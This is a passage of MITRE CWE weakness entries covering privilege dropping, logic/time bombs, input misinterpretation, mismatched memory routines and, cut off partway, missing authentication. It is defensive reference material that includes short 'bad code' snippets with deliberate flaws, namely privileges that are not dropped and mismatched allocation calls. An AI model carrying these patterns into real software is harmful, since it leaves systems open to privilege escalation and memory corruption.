Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control
Confidentiality

Technical Impact: Gain Privileges or Assume Identity; Read Application Data; Read Files or Directories

An attacker may be able to access resources with the elevated privilege that could not be accessed with the attacker's original privileges. This is particularly likely in conjunction with another flaw, such as a buffer overflow.
+ Demonstrative Examples

Example 1

The following example demonstrates the weakness.

(bad code)
Example Language:
setuid(0);
// Do some important stuff
setuid(old_uid);
// Do some non privileged stuff.

Example 2

The following example demonstrates the weakness.

(bad code)
Example Language: Java 
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
// privileged code goes here, for example:
System.loadLibrary("awt");
return null;
// nothing to return
}

Example 3

The following code calls chroot() to restrict the application to a subset of the filesystem below APP_HOME in order to prevent an attacker from using the program to gain unauthorized access to files located elsewhere. The code then opens a file specified by the user and processes the contents of the file.

(bad code)
Example Language:
chroot(APP_HOME);
chdir("/");
FILE* data = fopen(argv[1], "r+");
...

Constraining the process inside the application's home directory before opening any files is a valuable security measure. However, the absence of a call to setuid() with some non-zero value means the application is continuing to operate with unnecessary root privileges. Any successful exploit carried out by an attacker against the application can now result in a privilege escalation attack because any malicious operations will be performed with the privileges of the superuser. If the application drops to the privilege level of a non-root user, the potential for damage is substantially reduced.

+ Potential Mitigations

Phases: Architecture and Design; Operation

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

Phase: Architecture and Design

Strategy: Separation of Privilege

Follow the principle of least privilege when assigning access rights to entities in a software system.

Phase: Architecture and Design

Strategy: Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.

+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Detection Methods

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Compare binary / bytecode to application permission manifest

Effectiveness: SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Host-based Vulnerability Scanners - Examine configuration for flaws, verifying that audit mechanisms work, ensure host configuration meets certain predefined criteria

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Manual Source Code Review (not inspections)
Cost effective for partial coverage:
  • Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Source code Weakness Analyzer
  • Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR Partial

Automated Static Analysis

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Permission Manifest Analysis

Effectiveness: SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
  • Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  • Attack Modeling

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.2547PK - Security Features
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.748CERT C Secure Coding Standard (2008) Appendix - POSIX (POS)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.859The CERT Oracle Secure Coding Standard for Java (2011) Chapter 16 - Platform Security (SEC)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.901SFP Primary Cluster: Privilege
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1149SEI CERT Oracle Secure Coding Standard for Java - Guidelines 15. Platform Security (SEC)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1396Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Other

If system privileges are not dropped when it is reasonable to do so, this is not a vulnerability by itself. According to the principle of least privilege, access should be allowed only when it is absolutely necessary to the function of a given system, and only for the minimal necessary amount of time. Any further allowance of privilege widens the window of time during which a successful exploitation of the system will provide an attacker with that same privilege. If at all possible, limit the allowance of system privilege to small, simple sections of code that may be called atomically.

When a program calls a privileged function, such as chroot(), it must first acquire root privilege. As soon as the privileged operation has completed, the program should drop root privilege and return to the privilege level of the invoking user.

Maintenance

CWE-271, CWE-272, and CWE-250 are all closely related and possibly overlapping. CWE-271 is probably better suited as a category.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsLeast Privilege Violation
CLASPFailure to drop privileges when reasonable
CERT C Secure CodingPOS02-CFollow the principle of least privilege
The CERT Oracle Secure Coding Standard for Java (2011)SEC00-JDo not allow privileged blocks to leak sensitive information across a trust boundary
The CERT Oracle Secure Coding Standard for Java (2011)SEC01-JDo not allow tainted variables in privileged blocks
Software Fault PatternsSFP36Privilege
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07. <https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
7 Pernicious Kingdoms
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2008-10-14CWE Content TeamMITRE
updated Maintenance_Notes
2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-03-10CWE Content TeamMITRE
updated Demonstrative_Examples
2009-05-27CWE Content TeamMITRE
updated Demonstrative_Examples
2009-12-28CWE Content TeamMITRE
updated Potential_Mitigations
2010-06-21CWE Content TeamMITRE
updated Potential_Mitigations
2010-12-13CWE Content TeamMITRE
updated Other_Notes
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Demonstrative_Examples, Relationships, Taxonomy_Mappings
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Detection_Factors, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Causal_Nature, Common_Consequences, Demonstrative_Examples, Modes_of_Introduction, Relationships
2019-01-03CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Detection_Factors, References, Relationships
2020-12-10CWE Content TeamMITRE
updated Potential_Mitigations
2021-03-15CWE Content TeamMITRE
updated Demonstrative_Examples
2023-04-27CWE Content TeamMITRE
updated Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-511: Logic/Time Bomb

Weakness ID: 511
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product contains code that is designed to disrupt the legitimate operation of the product (or its environment) when a certain time passes, or when a certain logical condition is met.
+ Extended Description
When the time bomb or logic bomb is detonated, it may perform a denial of service such as crashing the system, deleting critical data, or degrading system response time. This bomb might be placed within either a replicating or non-replicating Trojan horse.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.506Embedded Malicious Code
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: Mobile (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other
Integrity

Technical Impact: Varies by Context; Alter Execution Logic

+ Demonstrative Examples

Example 1

Typical examples of triggers include system date or time mechanisms, random number generators, and counters that wait for an opportunity to launch their payload. When triggered, a time-bomb may deny service by crashing the system, deleting files, or degrading system response-time.

+ Potential Mitigations

Phase: Installation

Always verify the integrity of the product that is being installed.

Phase: Testing

Conduct a code coverage analysis using live testing, then closely inspect any code that is not covered.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.904SFP Primary Cluster: Malware
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1412Comprehensive Categorization: Poor Coding Practices
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
LandwehrLogic/Time Bomb
+ References
[REF-172] Chris Wysopal. "Mobile App Top 10 List". 2010-12-13. <https://www.veracode.com/blog/2010/12/mobile-app-top-10-list>. URL validated: 2023-04-07.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
Landwehr
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Description
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2013-02-21CWE Content TeamMITRE
updated Applicable_Platforms, Potential_Mitigations, References, Time_of_Introduction
2017-11-08CWE Content TeamMITRE
updated References
2020-02-24CWE Content TeamMITRE
updated Applicable_Platforms, Relationships
2023-01-31CWE Content TeamMITRE
updated Description, Potential_Mitigations
2023-04-27CWE Content TeamMITRE
updated References, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-115: Misinterpretation of Input

Weakness ID: 115
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product misinterprets an input, whether from an attacker or another product, in a security-relevant fashion.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.436Interpretation Conflict
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.438Behavioral Problems
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity

Technical Impact: Unexpected State

+ Observed Examples
ReferenceDescription
Product sees dangerous file extension in free text of a group discussion, disconnects all users.
Product does not correctly import and process security settings from another product.
+ Detection Methods

Fuzzing

Fuzz testing (fuzzing) is a powerful technique for generating large numbers of diverse inputs - either randomly or algorithmically - and dynamically invoking the code with those inputs. Even with random inputs, it is often capable of generating unexpected results such as crashes, memory corruption, or resource consumption. Fuzzing effectively produces repeatable test cases that clearly indicate bugs, which helps developers to diagnose the issues.

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.977SFP Secondary Cluster: Design
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1398Comprehensive Categorization: Component Interaction
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Research Gap

This concept needs further study. It is likely a factor in several weaknesses, possibly resultant as well. Overlaps Multiple Interpretation Errors (MIE).
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERMisinterpretation Error
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-10-29CWE Content TeamMITRE
updated Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2020-02-24CWE Content TeamMITRE
updated Relationships, Time_of_Introduction
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Misinterpretation Error

CWE-762: Mismatched Memory Management Routines

Weakness ID: 762
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product attempts to return a memory resource to the system, but it calls a release function that is not compatible with the function that was originally used to allocate that resource.
+ Extended Description

This weakness can be generally described as mismatching memory management routines, such as:

  • The memory was allocated on the stack (automatically), but it was deallocated using the memory management routine free() (CWE-590), which is intended for explicitly allocated heap memory.
  • The memory was allocated explicitly using one set of memory management functions, and deallocated using a different set. For example, memory might be allocated with malloc() in C++ instead of the new operator, and then deallocated with the delete operator.

When the memory management functions are mismatched, the consequences may be as severe as code execution, memory corruption, or program crash. Consequences and ease of exploit will vary depending on the implementation of the routines and the object being managed.

+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.763Release of Invalid Pointer or Reference
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.590Free of Memory not on the Heap
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.404Improper Resource Shutdown or Release
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

C (Undetermined Prevalence)

C++ (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity
Availability
Confidentiality

Technical Impact: Modify Memory; DoS: Crash, Exit, or Restart; Execute Unauthorized Code or Commands

+ Likelihood Of Exploit
Low
+ Demonstrative Examples

Example 1

This example allocates a BarObj object using the new operator in C++, however, the programmer then deallocates the object using free(), which may lead to unexpected behavior.

(bad code)
Example Language: C++ 
void foo(){
BarObj *ptr = new BarObj()
/* do some work with ptr here */

...

free(ptr);
}

Instead, the programmer should have either created the object with one of the malloc family functions, or else deleted the object with the delete operator.

(good code)
Example Language: C++ 
void foo(){
BarObj *ptr = new BarObj()
/* do some work with ptr here */

...

delete ptr;
}

Example 2

In this example, the program does not use matching functions such as malloc/free, new/delete, and new[]/delete[] to allocate/deallocate the resource.

(bad code)
Example Language: C++ 
class A {
void foo();
};
void A::foo(){
int *ptr;
ptr = (int*)malloc(sizeof(int));
delete ptr;
}

Example 3

In this example, the program calls the delete[] function on non-heap memory.

(bad code)
Example Language: C++ 
class A{
void foo(bool);
};
void A::foo(bool heap) {
int localArray[2] = {
11,22
};
int *p = localArray;
if (heap){
p = new int[2];
}
delete[] p;
}
+ Potential Mitigations

Phase: Implementation

Only call matching memory management functions. Do not mix and match routines. For example, when you allocate a buffer with malloc(), dispose of the original pointer with free().

Phase: Implementation

Strategy: Libraries or Frameworks

Choose a language or tool that provides automatic memory management, or makes manual memory management less error-prone.

For example, glibc in Linux provides protection against free of invalid pointers.

When using Xcode to target OS X or iOS, enable automatic reference counting (ARC) [REF-391].

To help correctly and consistently manage memory when programming in C++, consider using a smart pointer class such as std::auto_ptr (defined by ISO/IEC ISO/IEC 14882:2003), std::shared_ptr and std::unique_ptr (specified by an upcoming revision of the C++ standard, informally referred to as C++ 1x), or equivalent solutions such as Boost.

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, glibc in Linux provides protection against free of invalid pointers.

Phase: Architecture and Design

Use a language that provides abstractions for memory allocation and deallocation.

Phase: Testing

Use a tool that dynamically detects memory management problems, such as valgrind.
+ Affected Resources
  • Memory
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.876CERT C++ Secure Coding Section 08 - Memory Management (MEM)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1172SEI CERT C Coding Standard - Guidelines 51. Microsoft Windows (WIN)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1237SFP Primary Cluster: Faulty Resource Release
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1399Comprehensive Categorization: Memory Safety
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Applicable Platform

This weakness is possible in any programming language that allows manual management of memory.

+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CERT C Secure CodingWIN30-CExactProperly pair allocation and deallocation functions
Software Fault PatternsSFP12Faulty Memory Release
+ References
[REF-657] "boost C++ Library Smart Pointers". <https://www.boost.org/doc/libs/1_38_0/libs/smart_ptr/smart_ptr.htm>. URL validated: 2023-04-07.
[REF-480] "Valgrind". <http://valgrind.org/>.
[REF-391] iOS Developer Library. "Transitioning to ARC Release Notes". 2013-08-08. <https://developer.apple.com/library/archive/releasenotes/ObjectiveC/RN-TransitioningToARC/Introduction/Introduction.html>. URL validated: 2023-04-07.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2009-05-08
(CWE 1.4, 2009-05-27)
CWE Content TeamMITRE
+ Contributions
Contribution DateContributorOrganization
2010-04-30Martin SeborCisco Systems, Inc.
Provided improvement to existing Mitigation
+ Modifications
Modification DateModifierOrganization
2009-12-28CWE Content TeamMITRE
updated Applicable_Platforms, Likelihood_of_Exploit
2010-06-21CWE Content TeamMITRE
updated Description, Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Demonstrative_Examples, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-02-18CWE Content TeamMITRE
updated Demonstrative_Examples, Potential_Mitigations, References
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, References, Taxonomy_Mappings
2019-01-03CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-12-10CWE Content TeamMITRE
updated Relationships
2021-03-15CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated References, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-306: Missing Authentication for Critical Function

Weakness ID: 306
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.
+ Extended Description

As data is migrated to the cloud, if access does not require authentication, it can be easier for attackers to access the data from anywhere on the Internet.

+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.287Improper Authentication
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.288Authentication Bypass Using an Alternate Path or Channel
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.322Key Exchange without Entity Authentication
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1211Authentication Errors
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
